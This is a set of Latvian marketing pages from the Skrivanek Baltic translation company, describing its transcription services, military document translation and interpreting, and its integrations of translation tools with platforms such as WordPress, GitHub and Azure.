Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! TRANSKRIPCIJAS PAKALPOJUMU VEIDI Pamatā ir divu veidu transkripcijas pakalpojumi: rediģētā transkripcija: tas nozīmē, ka ierakstā dzirdamā runa tiek ne tikai transkribēta, bet arī rediģēta, proti, rakstītajā tekstā netiek fiksēti runas plūsmas pārrāvumi un liekās skaņas paužu aizpildīšanai, piemēram, “a-a-a”, “e-e-e”, “nu-u-u”, arī nepabeigtie vārdi, netiek aprakstīti fona trokšņi, tiek izlabotas runas intonāciju kļūdas (korekts garumzīmju lietojums), ko mēs bieži dzirdam TV pārraidēs, konferencēs, publiskajās diskusijās, arī tiešsaistes lekcijās utt. Šo pakalpojumu iesakām izmantot, ja transkribētais materiāls ir paredzēts mācību materiāliem, aktivitātēm; pilnā transkripcija: tas nozīmē, ka ierakstā dzirdamā runa tiek transkribēta pilnībā, precīzi atspoguļojot visas liekās skaņas, runas kļūdas un iestarpinājumus. Šādu transkripciju izvēlas, ja transkribētā datne un drukātais teksts tiks izmantots kā pierādījums tiesā vai juridiskā strīdā. KAD IR NEPIECIEŠAMI TRANSKRIPCIJAS PAKALPOJUMI? Transkripcijas pakalpojumi būs noderīgi, ja transkripti ir nepieciešami: kā pierādījums tiesas sēdēm vai policijā. Transkriptu varam noformēt arī drukāta dokumenta veidā un apliecināt ar personas, kura veica transkriptu, vai tulka parakstu/e-parakstu; intervijās runātā pierakstīšanai; konferencēs, tiešsaistes lekcijās un semināros runātā pierakstīšanai un subtitru veidošanai; mārketinga un PR aktivitātēm internetā, piemēram, YouTube kanālā, lai uzlabotu savas pozīcijas Google meklētājā; seriālu, TV pārraižu, filmu un radio raidījumos runātā pierakstīšanai un subtitru veidošanai utt. Transkripcijas pakalpojumus plaši izmanto satura veidotāji, žurnālisti, pētnieki, mārketinga speciālisti un studenti. CIK MAKSĀ TRANSKRIPCIJAS PAKALPOJUMI? Lai atbildētu uz šo jautājumu, ir jāveic audio un/vai video materiāla analīze, kuras laikā mūsu projektu vadītāji izvērtē: paredzamo darba izpildes termiņu; audio un/vai video datnes kvalitāti; teksta apjoma prasības, piemēram, rakstzīmju ierobežojumus; ieraksta valodas/-u īpatnības; papildu prasības, piemēram, vai transkriptam ir nepieciešama arī korektūra, runātāju identifikācija, laika kodu atspoguļošana utt. ). Jūs varat būs droši — mēs esam godprātīgi pret saviem klientiem, un nekad neuzsākam projektu bez jūsu projekta izmaksu un izpildes termiņu apstiprinājuma. KĀPĒC JŪSU UZŅĒMUMAM VARĒTU BŪT NODERĪGI AUGSTAS KVALITĀTES TRANSKRIPCIJAS PAKALPOJUMI? Jums bieži darba vajadzībām nākas analizēt liela apjoma audio un/vai video ierakstus. Informācijas gūzmā ir grūti atrast pareizo tiešsaistes lekcijas vai intervijas sadaļu, taču, pateicoties transkripcijai, jūs varēsiet strādāt ar meklēšanas funkciju teksta redaktorā, lai atrastu jebkuru jums vajadzīgo atslēgas vārdu, kura manuālā meklēšana audio vai videodatnē prasītu ilgu laiku. Transkribētie ieraksti atvieglo runu arhivēšanu vai informācijas meklēšanu audio un/vai video datņu arhīvos. Atceramies savus studiju gadus: kurš gan gribētu veltīt laiku, lai klausītos stundām ilgas lekcijas, ja būtu iespēja tās vienkārši izlasīt? Transkripcijas pakalpojumus pastāvīgi izmanto arī žurnālisti, kas veido subtitrus intervijām — interviju ierakstu automātiskā transkribēšana ne tikai palīdz ievērojami taupīt darba laiku, bet arī ir nepieciešama, lai varētu kvalitatīvi paveikt savu darbu. Biežākie audio un/vai video ierakstu veidi, ko Skrivanek ikdienā saņem transkribēšanai: interviju ieraksti; balss ziņojumi; tiešsaistes mācību, lekciju, konferenču prezentāciju, paneļdiskusiju, lietišķo tikšanos ieraksti; raidieraksti (aplādes jeb podraidījumi, podaraides), filmas un seriāli utt. TRANSKRIPCIJAS PAKALPOJUMI TIESU VAJADZĪBĀM Latvijas un Eiropas tiesu instancēs lietu dalībnieki kā pierādījumus arvien biežāk lūdz pievienot sarunu vai notikumu ierakstus, jo īpaši krimināllietās, civillietās ģimenes strīdos par īpašuma sadali, uzturlīdzekļiem vai aizbildnības noteikšanu. Kā zināms, katram audio un/vai video ierakstam, kas tiek izmantots kā pierādījums lietā, ir jābūt noformētam tekstuāla dokumenta veidā, t. i. , audio un/vai video ierakstā dzirdamajam ir jābūt noformētam teksta veidā, ko parasti ar savu parakstu apliecina persona, kura transkriptu ir veikusi. Šāda pilnā transkripcija prasa īpašu rūpību, jo tiek ņemta vērā katra dzirdamā skaņa un runātāju intonācijas un emocijas izpausme, kurai var būt izšķiroša loma strīdā; tāpat transkriptā ir obligāti jābūt lietotiem laika kodiem un jābūt identificētiem runātājiem. IERAKSTU SVEŠVALODĀ TRANSKRIPCIJA Ņemot vērā uzņēmējdarbības un zinātnes pasaules starptautisko un daudzkultūru raksturu, mūsdienās vairums sanāksmju un konferenču notiek svešvalodā, uzņēmumi saviem darbiniekiem gatavo videoierakstus angļu valodā, lai tos varētu skatīties un klausīties pēc iespējas plašāka auditorija. Zinātnieki izmanto transkripcijas pakalpojumus, lai gatavotu pieteikumus dotāciju saņemšanai vai veiktu zinātniskos pētījumus, kuros ir jāstrādā ar audio un/vai video ierakstiem, jo izpētes materiālam ir jābūt viegli analizējamam un apstrādājamam. Protams, tas prasa rūpīgu sadarbības partnera izvēli un tirgus izpēti! Darbs ar ierakstiem svešvalodā ir daudz sarežģītāks nekā darbs ar ierakstiem latviešu valodā, jo ir nepieciešama ne tikai pilnīga precizitāte, bet arī pareizības pārbaude, ko veic persona, kura brīvi pārvalda avota valodu, un dažkārt pievieno arī skaidrojumus vai tulkojumu latviešu valodā. KĀPĒC IR VĒRTS TRANSKRIPCIJAS DARBUS UZTICĒT PROFESIONĀĻIEM? Audio un/vai video ieraksta transkripciju nodrošinās profesionāls biroja personāls, kas ar to strādā ikdienā, tādējādi garantējot, ka darba uzdevums tiks paveikts precīzi un atbilstoši tā mērķim un saskaņā ar prasībām, kas ir sevišķi būtiski, ja transkripts tiks iesniegts tiesā. Ja transkripts paredzēts mārketinga vai uzņēmējdarbības vajadzībām, bet audio un/vai video ierakstos parasti ir dzirdami nevajadzīgi atkārtojumi, pārteikšanās, parazītvārdi, izsauksmes vārdi un runas plūsmas pārrāvumi, kurus transkriptā nevajadzētu (visbiežāk! ) iekļaut. Profesionāla transkripcija nav tikai ierakstā katras dzirdamās skaņas atveidošana rakstzīmēs — tas ir vesels saistīto pakalpojumu klāsts, kura kvalitatīvai nodrošināšanai ir nepieciešama pieredze un papildu iemaņas. Transkripcijas pakalpojumu nodrošināšana ir mūsu specialitāte. Lūk, svarīgākie aspekti, par kuriem varat būt pārliecināti, nolīgstot mūs transkripcijas sagatavošanai: augsta sagatavoto transkriptu kvalitāte, pateicoties izcilām valodu zināšanām, jaunākajām runas atpazīšanas tehnoloģijām un ērtiem darba apstākļiem, kas ir ārkārtīgi svarīgi transkribētāja darbā; valodas pareizība, precizitāte un uzmanība detaļām, lai tekstu spētu atzinīgi novērtēt pat visprasīgākais klients; laika un enerģijas taupīšana no bieži vien ļoti nogurdinoša darba — transkribēt un vairākas reizes atkārtoti klausīties vienu un to pašu vārdu ir ārkārtēji grūti; tāpat Skrivanek transkribētāji ar prieku palīdzēs ar transkribētā teksta rediģēšanu un korektūru; mēs varam sagatavot gala datni jums nepieciešamā formātā. Ļoti bieži subtitri ir nepieciešami . srt formātā. Mēs tiksim galā arī ar šo uzdevumu. BEZMAKSAS TIEŠSAISTES TRANSKRIBĒŠANAS RĪKU TRŪKUMI Tīmeklī ir pieejams plašs transkribēšanas rīku klāsts. Protams, bezmaksas transkribēšanas rīks jums izveidos teksta datni, taču atcerēsimies, ka mākslīgais intelekts ir cilvēka veidots programmnodrošinājums un nespēj modificēt tekstu vai izprast kontekstu, emocijas un identificēt zemtekstu. Tāpēc bezmaksas transkribēšanas rīki nebūs piemēroti nedz sarunu transkribēšanai tiesas vajadzībām, nedz filmu, seriālu, tiešsaistes mācību kursu transkribēšanai. Bezmaksas transkribēšanas rīks ir lielisks palīgs, ja ir tikai jānoskaidro, par ko ir runa audio un/vai video ierakstā. Tāpat ir jāpatur prātā, ka ieraksti, kas ar programmas palīdzību ir pārvērsti tekstā, vienmēr ir jāpārbauda profesionālim, kurš veiks nepieciešamos labojumus — galu galā mēs reti runājam lēni, skaidri un plūstoši, un programma bieži runas plūdumu var nesaprast, jo tā ir tikai programma. Papildus ierobežotajam funkciju skaitam, ko piedāvā bezmaksas transkribēšanas rīki, ir vērts pieminēt arī citus izaicinājumus, kurus profesionāls transkribētājs pārvarēs labāk nekā datorprogramma: akcents un neparasta runa, kas ietver arī runas ātrumu — daži rīki nodrošina iespēju strādāt ar daudzām dažādām valodām, taču ar to var nepietikt, ja audio un/vai video ierakstā būs dzirdami apvidvārdi, kurus lieto ierobežotās teritorijās, dialekti un izloksnes vai senvārdi; ieraksta dzirdamības kvalitāte — jebkāda veida fona trokšņi un skaņas, kas nav transkribējamā runa, būs diezgan liels izaicinājums transkribēšanas programmatūrai, jo tā nespēs korekti atpazīt vārdus fona skaņu un trokšņu dēļ; ierobežots leksikas krājums, īpaši attiecībā īpašvārdiem, frazeoloģismiem, izteicieniem un idiomām; formatēšana — automātiskās transkribēšanas rīks spēj atveidot audio un/vai video ieraksta runu tikai rakstītā tekstā, izslēdzot jebkādu rediģēšanu: pieturzīmes, sintaksi vai stilistiku. Veikt šādas izmaiņas pēc tam, kad transkripcija ir pabeigta, ir ļoti grūti un laikietilpīgi, tāpēc profesionāls transkribētājs visus nepieciešamos uzlabojumus veic darba gaitā. --- > Militāro tekstu tulkojumi ievērojot NATO Terminoloģijas direktīvas. Konfidencialitātes garantija. Militāra tulka mutiskās tulkošanas pakalpojumi - Published: 2023-09-07 - Modified: 2025-07-21 - URL: https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/ - Translation Priorities: Optional Pēdējos gados Latvijā un Eiropā ir būtiski audzis pieprasījums pēc profesionāliem tulkotājiem ar praktisko pieredzi darbā ar militārajiem tekstiem. Arī mums Skrivanek ir vērā ņemama pieredze militāro tekstu tulkošanā bruņotajiem spēkiem un aizsardzības nozarei: Sākoties karam Ukrainā, būtiski palielinājās pieprasījums pēc militāro tekstu tulkojumiem — dažāda veida materiālu un dokumentu, saistītu ar NATO un ES dalībvalstu bruņotajiem spēkiem, militāro aviāciju, jūras spēkiem, civilo aizsardzību vai kaujas lauka medicīnu tulkošanu. Viena no militāro dokumentu tulkošanas specifikām ir tāda, ka militāro tekstu tulkotāji ikdienas darbā rūpīgi ievēro NATO Terminoloģijas direktīvas (PO(2015)0193) prasības, kas nosaka NATO saskaņotās un standartizētās terminoloģijas lietošanu visos alianses dokumentu tulkojumos. Tāpat militārie tulki un tulkotāji regulāri seko līdzi NATO Terminoloģijas biroja terminoloģijas jaunumiem. Militārā tulkošana aptver ļoti plašu dažāda satura, sarežģītības un konfidencialitātes līmeņa dokumentu un materiālu kopumu, piemēram: visa veida NATO, Eiropas Savienības iestāžu un citu NATO dalībvalstu institūciju dokumentus nacionālās un starptautiskās drošības jomā, tostarp arī likumdošanā paredzētos dokumentus; militārā aprīkojuma, tehnikas, speciālo ierīču, ieroču un transportlīdzekļu tehnisko dokumentāciju bruņoto spēku un aizsardzības nozares vajadzībām; prezentācijas, katalogus un dažādus tirgvedības materiālus uzņēmumiem, kas nodrošina pakalpojumus militārajam sektoram; militārpersonu, augsta līmeņa amatpersonu oficiālos paziņojumus un saziņu ne tikai par notiekošo konfliktu zonās, bet arī par dabas katastrofām, krīzēm un citiem civilās aizsardzības jautājumiem, kas skar valsts drošību un ir definēti īpašajos tiesību aktos; konfliktu zonās notiekošo militāro operāciju aprakstus; kareivju, virspavēlnieku mācību materiālus; militārās medicīnas materiālus; ierobežotas pieejamības vai klasificētas informācijas dokumentus u. c. KĀPĒC SADARBOTIES AR SKRIVANEK BALTIC MILITĀRO TEKSTU TULKOŠANĀ? Pieredze stratēģiski nozīmīgās jomās – Skrivanek Baltic vairāk nekā 30 gadu garumā ir bijis uzticams partneris dažādās specializētās nozarēs, tai skaitā arī aizsardzības un drošības sektorā. Mēs pārzinām militāro terminoloģiju un tās specifiku, nodrošinot tulkojumus, kas atbilst jūsu dokumentu sensitivitātei un precizitātei. Speciālisti ar drošības pārbaudēm – militāro tulkojumu veikšanai tiek piesaistīti tikai profesionāli tulkotāji ar pieredzi aizsardzības jomā, un pēc pieprasījuma – ar drošības iestāžu pārbaudēm. Tā mēs garantējam datu konfidencialitāti un uzticamību. Tehnisko formātu pārvaldība – neatkarīgi no tā, vai dokuments ir PDF, InDesign, PowerPoint, XML vai pat specializētos programmatūras formātos – mūsu komanda nodrošina teksta apstrādi un saglabā dokumenta struktūru atbilstoši oriģinālam. Tā jūsu militārie materiāli paliek funkcionāli un estētiski saglabāti. Vairāk nekā 110 valodu – viena kontaktpersona – sadarbībā ar Skrivanek Baltic jūs saņemat visus nepieciešamos tulkojumus vienuviet – vairāk nekā 110 valodās, tai skaitā NATO un ES valodās. Nav nepieciešams koordinēt vairākus pakalpojumu sniedzējus. Ātra reaģēšana un individuāli risinājumi – steidzami projekti? Mēs sniedzam piedāvājumu 15 minūšu laikā un varam nodrošināt tulkojumu pat dažu stundu laikā, ja tas ir kritiski svarīgi. Jūs vienmēr varat pieteikties arī tiešsaistes konsultācijai ar mūsu projektu vadītājiem, lai saņemtu pielāgotu risinājumu. Konfidencialitāte un datu aizsardzība – mēs ievērojam stingrus datu drošības standartus, tostarp ISO 27001. Visi projekti tiek apstrādāti drošā IT vidē, un klientu informācija ir aizsargāta pret nesankcionētu piekļuvi. Nepieciešams militāro tekstu tulkojums vai militārs tulks? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par militārajiem tulkojumiem jau tūlīt! MILITĀRA TULKA PAKALPOJUMI Papildus militāro tekstu rakstiskajai tulkošanai Skrivanek nodrošina arī militāra tulka mutiskās tulkošanas pakalpojumus. Visbiežāk šādu pakalpojumu izvēlas: starptautiskām augsta līmeņa konferencēm un tikšanās reizēm; starptautiskām militārpersonu klātienes mācībām un vebināriem; militārpersonu pieredzes apmaiņas vizīšu laikā; militārā aprīkojuma, tehnikas vai kaujas transportlīdzekļu prezentāciju laikā; konfliktu zonās, palīdzot ANO un citu organizāciju novērotājiem; militārajās izstādēs un citos aizsardzības nozares pasākumos jebkurā vietā Eiropā. Skrivanek nodrošina militāro mutisko tulkošanu visās ES valodās, atkarībā no projektā vai pasākumā iesaistītajām valstīm, institūcijām, organizācijām un uzņēmumiem. Strādājam ar vairāk nekā 100 valodu tulkiem un tulkotājiem, kuri tiek rūpīgi atlasīti un pārbaudīti, veicot iekšējās drošības un uzticamības pārrunas, dokumentu pārbaudi, lai pārliecinātos par piemērotību veicamajam uzdevumam, ņemot vērā tikšanās, kurai nepieciešama mutiskā tulkošana, specifiku. Ņemot vērā mūsdienu situāciju Ukrainā, arī mēs pielāgojamies un redzam, ka pieaug pieprasījums pēc ukraiņu-angļu un angļu-ukraiņu militārajiem tulkojumiem, kā arī angļu-ukraiņu un ukraiņu-angļu tulkiem/tulkotājiem. Mēs, Skrivanek, varam nodrošināt militāros tulkus un tulkotājus angļu-ukraiņu, kā arī ukraiņu-angļu valodas kombinācijā. SAISTĪTĀS JOMAS Militāro tulkošanu definē kā īpašu, pastarpinātu, starpkultūru, divpusēju un divvalodu saziņu, ko veic profesionāls militārais tulks normālos un nereti arī ekstrēmos militārā dienesta apstākļos un kas saistīta ar dažāda veida militārajiem tekstiem. Militārā tulkošana — tā nav tikai militārā tehnika, dienests un svešvaloda. Tajā ietilpst arī daudzas citas saistītās jomas un nozares, piemēram: medicīna; tiesību zinātnes; cilvēkresursu vadība; politika un diplomātija; IT; bioķīmija; civilā aizsardzība. Skrivanek strādā valodu speciālisti ar ilggadēju pieredzi visās šajās jomās Latvijā un Eiropā. Tāpēc spējam nodrošināt apjomīgus un sarežģītus tulkošanas projektus, kam nepieciešama pieredze un zināšanas dažādās jomās un militārās leksikas pārzināšana. MILITĀRA TULKA PAKALPOJUMI Papildus militāro tekstu rakstiskajai tulkošanai Skrivanek nodrošina arī militāra tulka mutiskās tulkošanas pakalpojumus. Visbiežāk šādu pakalpojumu izvēlas: starptautiskām augsta līmeņa konferencēm un tikšanās reizēm; starptautiskām militārpersonu klātienes mācībām un vebināriem; militārpersonu pieredzes apmaiņas vizīšu laikā; militārā aprīkojuma, tehnikas vai kaujas transportlīdzekļu prezentāciju laikā; konfliktu zonās, palīdzot ANO un citu organizāciju novērotājiem; militārajās izstādēs un citos aizsardzības nozares pasākumos jebkurā vietā Eiropā. Skrivanek nodrošina militāro mutisko tulkošanu visās ES valodās, atkarībā no projektā vai pasākumā iesaistītajām valstīm, institūcijām, organizācijām un uzņēmumiem. Strādājam ar vairāk nekā 100 valodu tulkiem un tulkotājiem, kuri tiek rūpīgi atlasīti un pārbaudīti, veicot iekšējās drošības un uzticamības pārrunas, dokumentu pārbaudi, lai pārliecinātos par piemērotību veicamajam uzdevumam, ņemot vērā tikšanās, kurai nepieciešama mutiskā tulkošana, specifiku. Ņemot vērā mūsdienu situāciju Ukrainā, arī mēs pielāgojamies un redzam, ka pieaug pieprasījums pēc ukraiņu-angļu un angļu-ukraiņu militārajiem tulkojumiem, kā arī angļu-ukraiņu un ukraiņu-angļu tulkiem/tulkotājiem. Mēs, Skrivanek Baltic, varam nodrošināt militāros tulkus un tulkotājus angļu-ukraiņu, kā arī ukraiņu-angļu valodas kombinācijā. SAISTĪTĀS JOMAS Militāro tulkošanu definē kā īpašu, pastarpinātu, starpkultūru, divpusēju un divvalodu saziņu, ko veic profesionāls militārais tulks normālos un nereti arī ekstrēmos militārā dienesta apstākļos un kas saistīta ar dažāda veida militārajiem tekstiem. Militārā tulkošana — tā nav tikai militārā tehnika, dienests un svešvaloda. Tajā ietilpst arī daudzas citas saistītās jomas un nozares, piemēram: medicīna; tiesību zinātnes; cilvēkresursu vadība; politika un diplomātija; IT; bioķīmija; civilā aizsardzība. Skrivanek strādā valodu speciālisti ar ilggadēju pieredzi visās šajās jomās Latvijā un Eiropā. Tāpēc spējam nodrošināt apjomīgus un sarežģītus tulkošanas projektus, kam nepieciešama pieredze un zināšanas dažādās jomās un militārās leksikas pārzināšana. PIEREDZĒJIS MILITĀRAIS TULKOTĀJS IR TULKOŠANAS PROJEKTA VEIKSMES ATSLĒGA Ikvienam, kas strādā par militāro tekstu tulkotāju, ir jābūt nepieciešamajai profesionālajai pieredzei un kvalifikācijai, lai nodrošinātu tehniski un terminoloģiski pareizus tulkojumus. Militārie klienti bieži vien pasūta augstas sarežģītības tehnisko dokumentu tulkojumus, kas nozīmē, ka pieredze šādu tekstu tulkošanā ir ļoti svarīga. Skrivanek ir uzkrāta vērā ņemama pieredze militāro tekstu tulkošanā kuģu būvētavām, militārajai aviācijai un militārajai mašīnbūvei. Pēc konfidencialitātes vienošanās parakstīšanas, tiešsaistes tikšanās reizē mēs varam pastāstīt, kā mūsu birojs strādā ar konfidenciāliem projektiem un arī uzrādīt jums atsauksmes. Medicīna ir tikai viena no nozīmīgajām militārās tulkošanas jomām. Militārpersonas loma un darbs militāros apstākļos prasa pavisam citu pieeju nekā civilajā veselības aprūpē. Nu jau daudzus gadus esam atbalstījuši šo svarīgo medicīnas nozari, nodrošinot tulkošanas pakalpojumus izdevumam “Lekarz Wojskowy”, ko publicē Militārās medicīnas institūts Polijā. TULKA LOMA MILITĀRO KONFLIKTU ZONĀS Protams, ka militārā tulka pamatuzdevums militāro konfliktu zonās ir nodrošināt lingvistisko atbalstu gan mutvārdos, gan rakstveidā. Galvenā atšķirība ir tajā, ka tulks ievēro militārā dienesta nolikumu un pilnībā pakļaujas pavēlēm, nereti pildot arī starpnieka funkciju. Tulkam ir jāspēj identificēt un skaidrot starpkultūru atšķirības, pirms došanās uz konflikta zonu ir jāapgūst visa pieejamā informācija par ģeogrāfiskajām atrašanās vietām, norišu datumiem, laikiem, akronīmiem un iesaistīto cilvēku amatiem, vārdiem un citām valodām, kas varētu tikt izmantotas sarunas gaitā. PIEREDZĒJIS MILITĀRAIS TULKOTĀJS IR TULKOŠANAS PROJEKTA VEIKSMES ATSLĒGA Ikvienam, kas strādā par militāro tekstu tulkotāju, ir jābūt nepieciešamajai profesionālajai pieredzei un kvalifikācijai, lai nodrošinātu tehniski un terminoloģiski pareizus tulkojumus. Militārie klienti bieži vien pasūta augstas sarežģītības tehnisko dokumentu tulkojumus, kas nozīmē, ka pieredze šādu tekstu tulkošanā ir ļoti svarīga. Skrivanek ir uzkrāta vērā ņemama pieredze militāro tekstu tulkošanā kuģu būvētavām, militārajai aviācijai un militārajai mašīnbūvei. Pēc konfidencialitātes vienošanās parakstīšanas, tiešsaistes tikšanās reizē mēs varam pastāstīt, kā mūsu birojs strādā ar konfidenciāliem projektiem un arī uzrādīt jums atsauksmes. Medicīna ir tikai viena no nozīmīgajām militārās tulkošanas jomām. Militārpersonas loma un darbs militāros apstākļos prasa pavisam citu pieeju nekā civilajā veselības aprūpē. Nu jau daudzus gadus esam atbalstījuši šo svarīgo medicīnas nozari, nodrošinot tulkošanas pakalpojumus izdevumam “Lekarz Wojskowy”, ko publicē Militārās medicīnas institūts Polijā. TULKA LOMA MILITĀRO KONFLIKTU ZONĀS Protams, ka militārā tulka pamatuzdevums militāro konfliktu zonās ir nodrošināt lingvistisko atbalstu gan mutvārdos, gan rakstveidā. Galvenā atšķirība ir tajā, ka tulks ievēro militārā dienesta nolikumu un pilnībā pakļaujas pavēlēm, nereti pildot arī starpnieka funkciju. Tulkam ir jāspēj identificēt un skaidrot starpkultūru atšķirības, pirms došanās uz konflikta zonu ir jāapgūst visa pieejamā informācija par ģeogrāfiskajām atrašanās vietām, norišu datumiem, laikiem, akronīmiem un iesaistīto cilvēku amatiem, vārdiem un citām valodām, kas varētu tikt izmantotas sarunas gaitā. UZTICIET SAVUS MILITĀRO TEKSTU TULKOJUMUS SKRIVANEK EKSPERTIEM Skrivanek ir starptautisks valodu uzņēmums, kas Eiropas tirgū darbojas jau vairāk nekā 30 gadu. Mums ir liela pieredze dokumentu tulkošanā NATO, ES, ANO institūcijām, kā arī uzņēmumiem, kas strādā šajā nozarē. Mūsu pieredzējušo tehnisko tulkotāju komanda ir gatava palīdzēt pat ar visizaicinošāko dokumentu, rasējumu, grafiku tulkojumiem. Lai uzzinātu vairāk mūsu tehniskajām spējām un pieredzi, lūdzam sazināties ar mums pa e-pastu ivars@skrivanek. lv, lai varam noslēgt konfidencialitātes vienošanos un pārrunāt jūsu projekta specifiku. PILNĪGA INFORMĀCIJAS DROŠĪBA Mēs ļoti labi zinām, ka informācijas konfidencialitāte mūsdienas ir ārkārtīgi svarīga un var ietekmēt daudzu cilvēku un militārpersonu drošību un pat dzīvību. Sadarbojoties ar Skrivanek, jūs varat būt pārliecināti, ka visa jūsu informācija būs drošībā. Skrivanek ir ieviesis visas nepieciešamās ISO informācijas drošības vadības procedūras, tostarp esam saņēmuši ISO 27001 sertifikātu, kas apstiprina uzticēto datu glabāšanas augsto kvalitāti. Militāro tekstu tulkošanā bieži vien nākas strādāt īpašos biroja darba apstākļos, piemēram, bez piekļuves internetam vai ar citām īpašām prasībām. Biroja personālam un mūsu tulkotājiem ir visas nepieciešamās zināšanas un pieredze, kā strādāt ar šādiem projektiem. UZTICIET SAVUS MILITĀRO TEKSTU TULKOJUMUS SKRIVANEK EKSPERTIEM Skrivanek ir starptautisks valodu uzņēmums, kas Eiropas tirgū darbojas jau vairāk nekā 30 gadu. Mums ir liela pieredze dokumentu tulkošanā NATO, ES, ANO institūcijām, kā arī uzņēmumiem, kas strādā šajā nozarē. Mūsu pieredzējušo tehnisko tulkotāju komanda ir gatava palīdzēt pat ar visizaicinošāko dokumentu, rasējumu, grafiku tulkojumiem. Lai uzzinātu vairāk mūsu tehniskajām spējām un pieredzi, lūdzam sazināties ar mums pa e-pastu ivars@skrivanek. lv, lai varam noslēgt konfidencialitātes vienošanos un pārrunāt jūsu projekta specifiku. PILNĪGA INFORMĀCIJAS DROŠĪBA Mēs ļoti labi zinām, ka informācijas konfidencialitāte mūsdienas ir ārkārtīgi svarīga un var ietekmēt daudzu cilvēku un militārpersonu drošību un pat dzīvību. Sadarbojoties ar Skrivanek, jūs varat būt pārliecināti, ka visa jūsu informācija būs drošībā. Skrivanek ir ieviesis visas nepieciešamās ISO informācijas drošības vadības procedūras, tostarp esam saņēmuši ISO 27001 sertifikātu, kas apstiprina uzticēto datu glabāšanas augsto kvalitāti. Militāro tekstu tulkošanā bieži vien nākas strādāt īpašos biroja darba apstākļos, piemēram, bez piekļuves internetam vai ar citām īpašām prasībām. Biroja personālam un mūsu tulkotājiem ir visas nepieciešamās zināšanas un pieredze, kā strādāt ar šādiem projektiem. Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes --- > Jaunākie valodu tehnoloģiju risinājumi ir lieliski piemēroti tulkošanas darbam ar liela apjoma daudzvalodu saturu. - Published: 2023-09-06 - Modified: 2025-07-07 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/tulkosanas-ekosistema-un-integracija/ - Translation Priorities: Optional SKRIVANEK TULKOŠANAS EKOSISTĒMA — MŪSDIENĪGAS INTEGRĀCIJAS Mūsdienu digitālajā laikmetā valoda ir cieši saistīta ar tehnoloģijām. Arī tulkošanas un lokalizācijas process vairs nav iedomājams bez informācijas tehnoloģiju risinājumiem un dažādu nozaru speciālistiem — tulkotājiem, programmētājiem, satura veidotājiem, mārketinga ekspertiem, ir jāstrādā vienā digitālajā darba vidē. Jaunākie valodu tehnoloģiju risinājumi ir lieliski piemēroti darbam ar liela apjoma daudzvalodu saturu. Biežāk izmantotās integrācijas, ar kurām strādājam ikdienā: WORDPRESS Skrivanek datorizētās tulkošanas rīku integrācija ar WordPress ir mūsdienīgs, ērts un vienkāršs veids, kā nodrošināt mājaslapas satura tulkošanu un lokalizāciju dažādās valodās bez laikietilpīga manuālā darba. Pateicoties sadarbībai ar WPML, mēs realizējam pat vissarežģītākos tulkošanas projektus jebkurā valodā. Padariet savu tīmekļa vietni pieejamu apmeklētājiem visā pasaulē, nemainot ierasto Wordpress lapas izstrādes vidi. GITHUB Skrivanek tulkošanas tehnoloģijas vides integrācija ar GitHub ir veids, kā varat neraizēties par izstrādātās lietotnes teksta lokalizāciju un pievērsties svarīgākajam — lietotnes uzlabošanai un programmēšanai. Mēs savukārt parūpēsimies, lai lietotne ir pieejama visās mērķvalodās. Repozitorijs tiek patstāvīgi uzraudzīts, un visi papildinājumi tiek automātiski pārsūtīti uz mūsu tulkošanas sistēmu. Šādi varēsit būt pārliecināti, ka publicēšanas brīdi lietotne būs pieejama visās vēlamajās valodās. MICROSOFT AZURE Azure ir Microsoft mākoņpakalpojuma platforma, kas nodrošina resursus dažādu lietotņu izstrādāšanai, pārvaldīšanai un publicēšanai. Skrivanek tulkošanas sistēmas nodrošina ērtu savienojumu ar Azure datņu glabātuvēm, automātiski lejupielādējot un augšupielādējot tulkojamās datnes. Mūsu tulkošanas sistēmas spēj automātiski noteikt pat vissīkākās izmaiņas tiešsaistes glabātuvēs un automātiski padot datnes uz mūsu izstrādāto tulkošanas darbplūsmu. Šādi varat aizmirst par laikietilpīgo informācijas apmaiņu ar e-pastu starpniecību. Vienkārši ievietojiet tulkojamās datnes tiešsaistes repozitorijā un mēs parūpēsimies, lai pēc mirkļa šajā pašā tiešsaistes repozitorijā jūs varētu saņemt jau tulkotās datnes. MICROSOFT ONEDRIVE Microsoft OneDrive ir dokumentu glabāšanas mākoņpakalpojums. Skrivanek tulkošanas sistēmas nodrošina savienojumu ar OneDrive, kas ļauj automātiski lejupielādēt tulkojamās datnes un augšupielādēt pabeigto tulkojumu tieši jūsu datora darbvirsmā. Šādi varat aizmirst par laikietilpīgo informācijas apmaiņu ar e-pastu starpniecību. Vienkārši ievietojiet tulkojamās datnes tiešsaistes repozitorijā un mēs parūpēsimies, lai pēc mirkļa šajā pašā tiešsaistes repozitorijā jūs varētu saņemt jau tulkotās datnes. MICROSOFT SHAREPOINT Microsoft SharePoint ir mākoņpakalpojuma risinājums daudz un dažādu datņu tipu glabāšanai un kopīgošanai. Skrivanek tulkošanas 